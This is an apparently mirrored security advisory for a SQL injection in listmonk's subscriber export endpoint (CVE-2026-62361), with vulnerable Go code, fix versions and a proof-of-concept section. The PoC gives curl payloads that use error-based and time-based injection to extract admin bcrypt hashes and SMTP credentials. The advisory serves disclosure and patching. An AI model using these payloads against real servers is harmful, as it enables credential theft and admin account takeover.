github.com/knadh/listmonk
Affected
- introduced
0, fixed1.1.1-0.20260619102436-c0a6525009a6(semver)
Fixed versions
1.1.1-0.20260619102436-c0a6525009a6
Fix
- Fixed version
1.1.1-0.20260619102436-c0a6525009a6go get github.com/knadh/[email protected]
Advisory
Also known as: CVE-2026-62361
listmonk: SQL Injection in /api/subscribers/export bypasses table access control, leaking admin password hashes and SMTP credentials
Summary
A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
---
Details
The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.
`internal/core/subscribers.go` — protected path (regular query):
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
fmt.Sprintf("Error preparing subscriber query: %v", err))
}
`internal/core/subscribers.go` — vulnerable path (export):
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction
`queries/subscribers.sql` — the `%query%` placeholder is injected into a WHERE clause:
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.
---
PoC
Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.
Step 1 — Confirm the bypass (blocked on query, open on export):
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
Step 2 — Error-based exfiltration of admin password hash:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
Step 3 — Error-based exfiltration of SMTP credentials:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
Step 4 — Time-based blind confirmation:
time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution
---
Impact
This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:
settings tableAttack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.
This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.
Medium Basis: The source's own band: MODERATE
0, fixed 1.1.1-0.20260619102436-c0a6525009a6 (semver)1.1.1-0.20260619102436-c0a6525009a6
1.1.1-0.20260619102436-c0a6525009a6go get github.com/knadh/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0